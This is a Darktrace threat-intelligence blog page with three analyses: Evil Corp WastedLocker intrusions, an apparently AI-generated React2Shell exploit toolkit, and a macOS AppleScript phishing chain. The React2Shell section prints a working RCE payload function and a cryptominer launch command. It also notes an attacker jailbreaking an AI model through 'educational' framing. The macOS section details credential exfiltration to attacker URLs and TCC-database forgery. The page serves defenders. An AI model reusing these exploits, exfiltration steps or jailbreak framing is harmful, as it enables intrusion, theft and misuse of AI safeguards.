Blog
/
/
August 18, 2020

Evil Corp's WastedLocker Ransomware Attacks Observation

Darktrace detects Evil Corp intrusions with WastedLocker ransomware. Learn how AI spotted malicious activity, from initial intrusion to data exfiltration.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Max Heinemeyer
Global Field CISO
Default blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog image
18
Aug 2020

Darktrace has recently observed several targeted intrusions associated with Evil Corp, an advanced cyber-criminal group recently in the headlines after a surge in WastedLocker ransomware cases. The group is believed to have targeted hundreds of organizations in over 40 countries, demanding ransoms of $500,000 to $1m to unlock computer files it seizes. US authorities are now offering a $5m reward for information leading to the arrest of the group’s leaders — understood to be the largest sum of money ever offered for a cyber-criminal.

Thanks to its self-learning nature, Darktrace's AI detected these intrusions without the use of any threat intelligence or static Indicators of Compromise (IoCs). This blog describes the techniques, tools and procedures used in multiple intrusions by Evil Corp – also known as TA505 or SectorJ04.

Key takeaways

  • The threat actor was reusing TTPs as well as infrastructure across multiple intrusions
  • Some infrastructure was only observed in individual intrusions
  • While most WastedLocker reports focus on the ransomware, Darktrace has observed Evil Corp conducting data exfiltration
  • The attacker used various ‘Living off the Land’ techniques for lateral movement
  • Data exfiltration and ransomware activity took place on weekends, likely to reduce response capabilities of IT teams
  • Although clearly an advanced actor, Evil Corp can be detected and stopped before encryption ensues

Evil Corp ransomware attack

Figure 1: The standard attack lifecycle observed in Evil Corp campaigns

Initial intrusion

While Evil Corp is technically sophisticated enough to choose from an array of initial intrusion methods, fake browser updates were the weapon of choice in the observed campaign. These were delivered from legitimate websites and used social engineering to convince users to download these malicious ‘updates’. Evil Corp has actually built a framework around this capability, referred to as SocGholish.

Establishing foothold / Command & Control Traffic

Darktrace detected different C2 domains being contacted after the initial infection. These domains overlap across various victims, showing that the attacker is reusing infrastructure within the same campaign. The C2 communication – comprised of thousands of connections over several days – took place over encrypted channels with valid SSL certificates. No single infected device ever beaconed to more than one C2 domain at a time.

Two example C2 domains are listed below with more details:

techgreeninc[.]com

SSL beacon details:

  • Median beacon period: 3 seconds
  • Range of periods: 1 seconds - 2.58 minutes
  • Data volume sent per connection on average: 921 Bytes

investimentosefinancas[.]com

SSL beacon details:

  • Median beacon period: 1.7 minutes
  • Range of periods: 1 seconds - 6.68 minutes
  • Data volume sent per connection on average: 935 Bytes

Certificate information:

  • Subject: CN=investimentosefinancas.com
  • Issuer: CN=Thawte RSA CA 2018,OU=www.digicert.com,O=DigiCert Inc,C=US
  • Validation status: OK

Note in particular the median beacon period, which indicates that some C2 channels were much more hands-on, whilst others possibly acted as backup channels in case the main C2 was burned or detected. It’s also interesting to see the low amount of data being transferred to the hands-on C2 domains. The actual data exfiltration took place to yet another C2 destination, intentionally separated from the hands-on intrusion C2s. All observed C2 websites were recently registered with Russian providers and are not responsive (see below).

Figure 2: The unresponsive C2 domain

Registrar: reg.ru

Created: 2020-06-29 (6 weeks ago) | Updated: 2020-07-07 (5 weeks ago)

Figure 3: Some key information relating to the C2 domain

Darktrace’s Cyber AI Platform detected this Command & Control activity via various behavioral indicators, including unusual beaconing and unusual usage of TLS (JA3).

Internal reconnaissance

In some cases, Darktrace witnessed several days of inactivity between establishing C2 and internal reconnaissance. The attackers used Advanced Port Scanner, a common IT tool, in a clear attempt to blend in with regular network activity. Several hundred IPs and dozens of popular ports were scanned at once, with tens of thousands of connections made in a short period of time.

Some key ports scanned were: 21, 22, 23, 80, 135, 139, 389, 443, 445, 1433, 3128, 3306, 3389, 4444, 4899, 5985, 5986, 8080. Darktrace detected this anomalous behavior easily as the infected devices don’t usually scan the network.

Lateral movement

Different methods of lateral movement were observed across intrusions, but also within the same intrusion, with WMI used to move between devices. Darktrace detected this by identifying when WMI usage was unusual or new for a device. An example of the lateral movement is shown below, with Darktrace detecting this as ‘New Activity’.

Figure 4: The model breach event log

PsExec was used where it already existed in the environment and Darktrace also witnessed SMB drive writes to hidden shares to copy malware, e.g.

C$ file=Programdata\[REDACTED]4rgsfdbf[REDACTED]

A malicious Powershell file was downloaded – partly shown in the screenshot below.

Figure 5: The malicious Powershell file

Accomplish mission – Data exfiltration or ransomware deployment

Evil Corp is currently best known for its WastedLocker ransomware. Whilst some of its recent intrusions have seen ransomware deployments, others have been classic cases of data exfiltration. Darktrace has not yet observed a double-threat – a case of exfiltration followed by ransomware.

The data exfiltration took place over HTTP to generic .php endpoints under the attacker’s control.

How Cyber AI Analyst reported on WastedLocker

When the first signs of anomalous activity were picked up by Darktrace’s Enterprise Immune System, Cyber AI Analyst automatically launched a full investigation and quickly provided a full overview of the overall incident. The AI Analyst continued to add more details to the ongoing incident as it evolved. There were a total of six AI Analyst incidents for the week spanning an example Evil Corp intrusion – and two of them directly covered the Evil Corp attack. In stitching together disparate security events and presenting a single narrative, Cyber AI Analyst did all the heavy lifting for human security staff, who could look at just a handful of fully-investigated incidents, instead of having to triage countless individual model breaches.

Figure 6: Cyber AI Analyst’s overview of the incident

Note how AI Analyst covers five phases of the attack lifecycle in a single incident report:

  1. Unusual Repeated Connections – Initial C2
  2. Possible HTTP Command & Control Traffic – Further C2
  3. Possible SSL Command & Control Traffic – Further C2
  4. Scanning of Multiple Devices – Internal reconnaissance with Advanced IP Scanner
  5. SMB Writes of Suspicious Files – Lateral Movement

Evil Corp rising

Every indicator suggests that this was not a case of indiscriminate ransomware, but rather highly sophisticated and targeted attacks by an advanced threat actor. With the ultimate goal of ransoming operations, the attacker moved towards the crown jewels of the organization: file servers and databases.

The organizations involved in the above analysis did not have Darktrace Antigena – Darktrace’s Autonomous Response technology – in active mode, and the threat was therefore allowed to escalate beyond its initial stages. With Antigena in full operation, the activity would have been contained at its early stages with a precise and surgical response which would have stopped the malicious behavior whilst allowing the business to operate as normal.

Despite the targeted and advanced nature of the threat, security teams are perfectly capable of detecting, investigating, and stopping the threat with Cyber AI. Darktrace was able to not only detect WastedLocker ransomware based on a series of anomalies in network traffic, but also stitch together those anomalies and investigate the incident in real time, presenting an actionable summary of the different attack stages without flooding the security team with meaningless alerts.

Learn more about Autonomous Response

Network IoCs:

IoCCommenttechgreeninc[.]comC2 domaininvestimentosefinancas[.]comC2 domain

Selected associated Darktrace model breaches:

  • Compromise / Beaconing Activity To External Rare
  • Compromise / Agent Beacon (Medium Period)
  • Compromise / Slow Beaconing Activity To External Rare
  • Compromise / Suspicious Beaconing Behaviour
  • Device / New or Unusual Remote Command Execution
  • Compromise / Beaconing Activity To External Rare
  • Compromise / Agent Beacon (Medium Period)
  • Compromise / Slow Beaconing Activity To External Rare
  • Device / New User Agent
  • Unusual Activity / Unusual Internal Connections
  • Device / Suspicious Network Scan Activity
  • Device / Network Scan
  • Device / Network Scan - Low Anomaly Score
  • Device / ICMP Address Scan
  • Anomalous Server Activity / Anomalous External Activity from Critical Network Device
  • Compromise / SSL Beaconing to Rare Destination
  • Anomalous Connection / SMB Enumeration
  • Compliance / SMB Drive Write
  • Anomalous File / Internal / Unusual SMB Script Write

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Max Heinemeyer
Global Field CISO

More in this series

No items found.

Blog

/

Network

/

February 10, 2026

AI/LLM-Generated Malware Used to Exploit React2Shell

AI/LLM-Generated Malware Used to Exploit React2ShellDefault blog imageDefault blog image

Introduction

To observe adversary behavior in real time, Darktrace operates a global honeypot network known as “CloudyPots”, designed to capture malicious activity across a wide range of services, protocols, and cloud platforms. These honeypots provide valuable insights into the techniques, tools, and malware actively targeting internet‑facing infrastructure.

A recently observed intrusion against Darktrace’s Cloudypots environment revealed a fully AI‑generated malware sample exploiting CVE-2025-55182, also known as React2Shell. As AI‑assisted software development (“vibecoding”) becomes more widespread, attackers are increasingly leveraging large language models to rapidly produce functional tooling. This incident illustrates a broader shift: AI is now enabling even low-skill operators to generate effective exploitation frameworks at speed. This blog examines the attack chain, analyzes the AI-generated payload, and outlines what this evolution means for defenders.

Initial access

The intrusion was observed against the Darktrace Docker honeypot, which intentionally exposes the Docker daemon internet-facing with no authentication. This configuration allows any attacker to discover the daemon and create a container via the Docker API.

The attacker was observed spawning a container named “python-metrics-collector”, configured with a start up command that first installed prerequisite tools including curl, wget, and python 3.

Container spawned with the name ‘python-metrics-collector’.
Figure 1: Container spawned with the name ‘python-metrics-collector’.

Subsequently, it will download a list of required python packages from

  • hxxps://pastebin[.]com/raw/Cce6tjHM,

Finally it will download and run a python script from:

  • hxxps://smplu[.]link/dockerzero.

This link redirects to a GitHub Gist hosted by user “hackedyoulol”, who has since been banned from GitHub at time of writing.

  • hxxps://gist.githubusercontent[.]com/hackedyoulol/141b28863cf639c0a0dd563344101f24/raw/07ddc6bb5edac4e9fe5be96e7ab60eda0f9376c3/gistfile1.txt

Notably the script did not contain a docker spreader – unusual for Docker-focused malware – indicating that propagation was likely handled separately from a centralized spreader server.

Deployed components and execution chain

The downloaded Python payload was the central execution component for the intrusion. Obfuscation by design within the sample was reinforced between the exploitation script and any spreading mechanism. Understanding that docker malware samples typically include their own spreader logic, the omission suggests that the attacker maintained and executed a dedicated spreading tool remotely.

The script begins with a multi-line comment:
"""
   Network Scanner with Exploitation Framework
   Educational/Research Purpose Only
   Docker-compatible: No external dependencies except requests
"""

This is very telling, as the overwhelming majority of samples analysed do not feature this level of commentary in files, as they are often designed to be intentionally difficult to understand to hinder analysis. Quick scripts written by human operators generally prioritize speed and functionality over clarity. LLMs on the other hand will document all code with comments very thoroughly by design, a pattern we see repeated throughout the sample.  Further, AI will refuse to generate malware as part of its safeguards.

The presence of the phrase “Educational/Research Purpose Only” additionally suggests that the attacker likely jailbroke an AI model by framing the malicious request as educational.

When portions of the script were tested in AI‑detection software, the output further indicated that the code was likely generated by a large language model.

GPTZero AI-detection results indicating that the script was likely generated using an AI model.
Figure 2: GPTZero AI-detection results indicating that the script was likely generated using an AI model.

The script is a well constructed React2Shell exploitation toolkit, which aims to gain remote code execution and deploy a XMRig (Monero) crypto miner. It uses an IP‑generation loop to identify potential targets and executes a crafted exploitation request containing:

  • A deliberately structured Next.js server component payload
  • A chunk designed to force an exception and reveal command output
  • A child process invocation to run arbitrary shell commands

    def execute_rce_command(base_url, command, timeout=120):  
    """ ACTUAL EXPLOIT METHOD - Next.js React Server Component RCE
    DO NOT MODIFY THIS FUNCTION
    Returns: (success, output)  
    """  
    try: # Disable SSL warnings     urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

 crafted_chunk = {
      "then": "$1:__proto__:then",
      "status": "resolved_model",
      "reason": -1,
      "value": '{"then": "$B0"}',
      "_response": {
          "_prefix": f"var res = process.mainModule.require('child_process').execSync('{command}', {{encoding: 'utf8', maxBuffer: 50 * 1024 * 1024, stdio: ['pipe', 'pipe', 'pipe']}}).toString(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});",
          "_formData": {
              "get": "$1:constructor:constructor",
          },
      },
  }

  files = {
      "0": (None, json.dumps(crafted_chunk)),
      "1": (None, '"$@0"'),
  }

  headers = {"Next-Action": "x"}

  res = requests.post(base_url, files=files, headers=headers, timeout=timeout, verify=False)

This function is initially invoked with ‘whoami’ to determine if the host is vulnerable, before using wget to download XMRig from its GitHub repository and invoking it with a configured mining pool and wallet address.

]\

WALLET = "45FizYc8eAcMAQetBjVCyeAs8M2ausJpUMLRGCGgLPEuJohTKeamMk6jVFRpX4x2MXHrJxwFdm3iPDufdSRv2agC5XjykhA"
XMRIG_VERSION = "6.21.0"
POOL_PORT_443 = "pool.supportxmr.com:443"
...
print_colored(f"[EXPLOIT] Starting miner on {identifier} (port 443)...", 'cyan')  
miner_cmd = f"nohup xmrig-{XMRIG_VERSION}/xmrig -o {POOL_PORT_443} -u {WALLET} -p {worker_name} --tls -B >/dev/null 2>&1 &"

success, _ = execute_rce_command(base_url, miner_cmd, timeout=10)

Many attackers do not realise that while Monero uses an opaque blockchain (so transactions cannot be traced and wallet balances cannot be viewed), mining pools such as supportxmr will publish statistics for each wallet address that are publicly available. This makes it trivial to track the success of the campaign and the earnings of the attacker.

 The supportxmr mining pool overview for the attackers wallet address
Figure 3: The supportxmr mining pool overview for the attackers wallet address

Based on this information we can determine the attacker has made approx 0.015 XMR total since the beginning of this campaign, which as of writing is valued at £5. Per day, the attacker is generating 0.004 XMR, which is £1.33 as of writing. The worker count is 91, meaning that 91 hosts have been infected by this sample.

Conclusion

While the amount of money generated by the attacker in this case is relatively low, and cryptomining is far from a new technique, this campaign is proof that AI based LLMs have made cybercrime more accessible than ever. A single prompting session with a model was sufficient for this attacker to generate a functioning exploit framework and compromise more than ninety hosts, demonstrating that the operational value of AI for adversaries should not be underestimated.

CISOs and SOC leaders should treat this event as a preview of the near future. Threat actors can now generate custom malware on demand, modify exploits instantly, and automate every stage of compromise. Defenders must prioritize rapid patching, continuous attack surface monitoring, and behavioral detection approaches. AI‑generated malware is no longer theoretical — it is operational, scalable, and accessible to anyone.

Analyst commentary

It is worth noting that the downloaded script does not appear to include a Docker spreader, meaning the malware will not replicate to other victims from an infected host. This is uncommon for Docker malware, based on other samples analyzed by Darktrace researchers. This indicates that there is a separate script responsible for spreading, likely deployed by the attacker from a central spreader server. This theory is supported by the fact that the IP that initiated the connection, 49[.]36.33.11, is registered to a residential ISP in India. While it is possible the attacker is using a residential proxy server to cover their tracks, it is also plausible that they are running the spreading script from their home computer. However, this should not be taken as confirmed attribution.

Credit to Nathaniel Bill (Malware Research Engineer), Nathaniel Jones ( VP Threat Research | Field CISO AI Security)

Edited by Ryan Traill (Analyst Content Lead)

Indicators of Compromise (IoCs)

Spreader IP - 49[.]36.33.11
Malware host domain - smplu[.]link
Hash - 594ba70692730a7086ca0ce21ef37ebfc0fd1b0920e72ae23eff00935c48f15b
Hash 2 - d57dda6d9f9ab459ef5cc5105551f5c2061979f082e0c662f68e8c4c343d667d

Continue reading
About the author
Nathaniel Bill
Malware Research Engineer

Blog

/

Network

/

February 9, 2026

AppleScript Abuse: Unpacking a macOS Phishing Campaign

AppleScript Abuse: Unpacking a macOS Phishing CampaignDefault blog imageDefault blog image

Introduction

Darktrace security researchers have identified a campaign targeting macOS users through a multistage malware campaign that leverages social engineering and attempted abuse of the macOS Transparency, Consent and Control (TCC) privacy feature.

The malware establishes persistence via LaunchAgents and deploys a modular Node.js loader capable of executing binaries delivered from a remote command-and-control (C2) server.

Due to increased built-in security mechanisms in macOS such as System Integrity Protection (SIP) and Gatekeeper, threat actors increasingly rely on alternative techniques, including fake software and ClickFix attacks [1] [2]. As a result, macOS threats r[NJ1] ely more heavily on social engineering instead of vulnerability exploitation to deliver payloads, a trend Darktrace has observed across the threat landscape [3].

Technical analysis

The infection chain starts with a phishing email that prompts the user to download an AppleScript file named “Confirmation_Token_Vesting.docx.scpt”, which attemps to masquerade as a legitimate Microsoft document.

The AppleScript header prompting execution of the script.
Figure 1: The AppleScript header prompting execution of the script.

Once the user opens the AppleScript file, they are presented with a prompt instructing them to run the script, supposedly due to “compatibility issues”. This prompt is necessary as AppleScript requires user interaction to execute the script, preventing it from running automatically. To further conceal its intent, the malicious part of the script is buried below many empty lines, assuming a user likely will not to the end of the file where the malicious code is placed.

Curl request to receive the next stage.
Figure 2: Curl request to receive the next stage.

This part of the script builds a silent curl request to “sevrrhst[.]com”, sending the user’s macOS operating system, CPU type and language. This request retrieves another script, which is saved as a hidden file at in ~/.ex.scpt, executed, and then deleted.

The retrieved payload is another AppleScript designed to steal credentials and retrieve additional payloads. It begins by loading the AppKit framework, which enables the script to create a fake dialog box prompting the user to enter their system username and password [4].

 Fake dialog prompt for system password.
Figure 3: Fake dialog prompt for system password.

The script then validates the username and password using the command "dscl /Search -authonly <username> <password>", all while displaying a fake progress bar to the user. If validation fails, the dialog window shakes suggesting an incorrect password and prompting the user to try again. The username and password are then encoded in Base64 and sent to: https://sevrrhst[.]com/css/controller.php?req=contact&ac=<user>&qd=<pass>.

Figure 4: Requirements gathered on trusted binary.

Within the getCSReq() function, the script chooses from trusted Mac applications: Finder, Terminal, Script Editor, osascript, and bash. Using the codesign command codesign -d --requirements, it extracts the designated code-signing requirement from the target application. If a valid requirement cannot be retrieved, that binary is skipped. Once a designated requirement is gathered, it is then compiled into a binary trust object using the Code Signing Requirement command (csreq). This trust object is then converted into hex so it can later be injected into the TCC SQLite database.[NB2]

To bypass integrity checks, the TCC directory is renamed to com.appled.tcc using Finder. TCC is a macOS privacy framework designed to restrict application access to sensitive data, requiring users to explicitly grant permissions before apps can access items such as files, contacts, and system resources [1].

Example of how users interact with TCC.
Figure 5: TCC directory renamed to com.appled.TCC.
Figure 6: Example of how users interact with TCC.

After the database directory rename is attempted, the killall command is used on the tccd daemon to force macOS to release the lock on the database. The database is then injected with the forged access records, including the service, trusted binary path, auth_value, and the forged csreq binary. The directory is renamed back to com.apple.TCC, allowing the injected entries to be read and the permissions to be accepted. This enables persistence authorization for:

  • Full disk access
  • Screen recording
  • Accessibility
  • Camera
  • Apple Events 
  • Input monitoring

The malware does not grant permissions to itself; instead, it forges TCC authorizations for trusted Apple-signed binaries (Terminal, osascript, Script Editor, and bash) and then executes malicious actions through these binaries to inherit their permissions.

Although the malware is attempting to manipulate TCC state via Finder, a trusted system component, Apple has introduced updates in recent macOS versions that move much of the authorization enforcement into the tccd daemon. These updates prevent unauthorized permission modifications through directory or database manipulation. As a result, the script may still succeed on some older operating systems, but it is likely to fail on newer installations, as tcc.db reloads now have more integrity checks and will fail on Mobile Device Management (MDM) [NB5] systems as their profiles override TCC.

 Snippet of decoded Base64 response.
Figure 7: Snippet of decoded Base64 response.

A request is made to the C2, which retrieves and executes a Base64-encoded script. This script retrieves additional payloads based on the system architecture and stores them inside a directory it creates named ~/.nodes. A series of requests are then made to sevrrhst[.]com for:

/controller.php?req=instd

/controller.php?req=tell

/controller.php?req=skip

These return a node archive, bundled Node.js binary, and a JavaScript payload. The JavaScript file, index.js, is a loader that profiles the system and sends the data to the C2. The script identified the system platform, whether macOS, Linux or Windows, and then gathers OS version, CPU details, memory usage, disk layout, network interfaces, and running process. This is sent to https://sevrrhst[.]com/inc/register.php?req=init as a JSON object. The victim system is then registered with the C2 and will receive a Base64-encoded response.

LaunchAgent patterns to be replaced with victim information.
Figure 8: LaunchAgent patterns to be replaced with victim information.

The Base64-encoded response decodes to an additional Javacript that is used to set up persistence. The script creates a folder named com.apple.commonjs in ~/Library and copies the Node dependencies into this directory. From the C2, the files package.json and default.js are retrieved and placed into the com.apple.commonjs folder. A LaunchAgent .plist is also downloaded into the LaunchAgents directory to ensure the malware automatically starts. The .plist launches node and default.js on load, and uses output logging to log errors and outputs.

Default.js is Base64 encoded JavaScript that functions as a command loop, periodically sending logs to the C2, and checking for new payloads to execute. This gives threat actors ongoing and the ability to dynamically modify behavior without having to redeploy the malware. A further Base64-encoded JavaScript file is downloaded as addon.js.

Addon.js is used as the final payload loader, retrieving a Base64-encoded binary from https://sevrrhst[.]com/inc/register.php?req=next. The binary is decoded from Base64 and written to disk as “node_addon”, and executed silently in the background. At the time of analysis, the C2 did not return a binary, possibly because certain conditions were not met.  However, this mechanism enables the delivery and execution of payloads. If the initial TCC abuse were successful, this payload could access protected resources such as Screen Capture and Camera without triggering a consent prompt, due to the previously established trust.

Conclusion

This campaign shows how a malicious threat actor can use an AppleScript loader to exploit user trust and manipulate TCC authorization mechanisms, achieving persistent access to a target network without exploiting vulnerabilities.

Although recent macOS versions include safeguards against this type of TCC abuse, users should keep their systems fully updated to ensure the most up to date protections.  These findings also highlight the intentions of threat actors when developing malware, even when their implementation is imperfect.

Credit to Tara Gould (Malware Research Lead)
Edited by Ryan Traill (Analyst Content Lead)

Indicators of Compromise (IoCs)

88.119.171[.]59

sevrrhst[.]com

https://sevrrhst[.]com/inc/register.php?req=next

https://stomcs[.]com/inc/register.php?req=next
https://techcross-es[.]com

Confirmation_Token_Vesting.docx.scpt - d3539d71a12fe640f3af8d6fb4c680fd

EDD_Questionnaire_Individual_Blank_Form.docx.scpt - 94b7392133935d2034b8169b9ce50764

Investor Profile (Japan-based) - Shiro Arai.pdf.scpt - 319d905b83bf9856b84340493c828a0c

MITRE ATTACK

T1566 - Phishing

T1059.002 - Command and Scripting Interpreter: Applescript

T1059.004 – Command and Scripting Interpreter: Unix Shell

T1059.007 – Command and Scripting Interpreter: JavaScript

T1222.002 – File and Directory Permissions Modification

T1036.005 – Masquerading: Match Legitimate Name or Location

T1140 – Deobfuscate/Decode Files or Information

T1547.001 – Boot or Logon Autostart Execution: Launch Agent

T1553.006 – Subvert Trust Controls: Code Signing Policy Modification

T1082 – System Information Discovery

T1057 – Process Discovery

T1105 – Ingress Tool Transfer

References

[1] https://www.darktrace.com/blog/from-the-depths-analyzing-the-cthulhu-stealer-malware-for-macos

[2] https://www.darktrace.com/blog/unpacking-clickfix-darktraces-detection-of-a-prolific-social-engineering-tactic

[3] https://www.darktrace.com/blog/crypto-wallets-continue-to-be-drained-in-elaborate-social-media-scam

[4] https://developer.apple.com/documentation/appkit

[5] https://www.huntress.com/blog/full-transparency-controlling-apples-tcc

Continue reading
About the author
Tara Gould
Malware Research Lead
Your data. Our AI.
Elevate your network security with Darktrace AI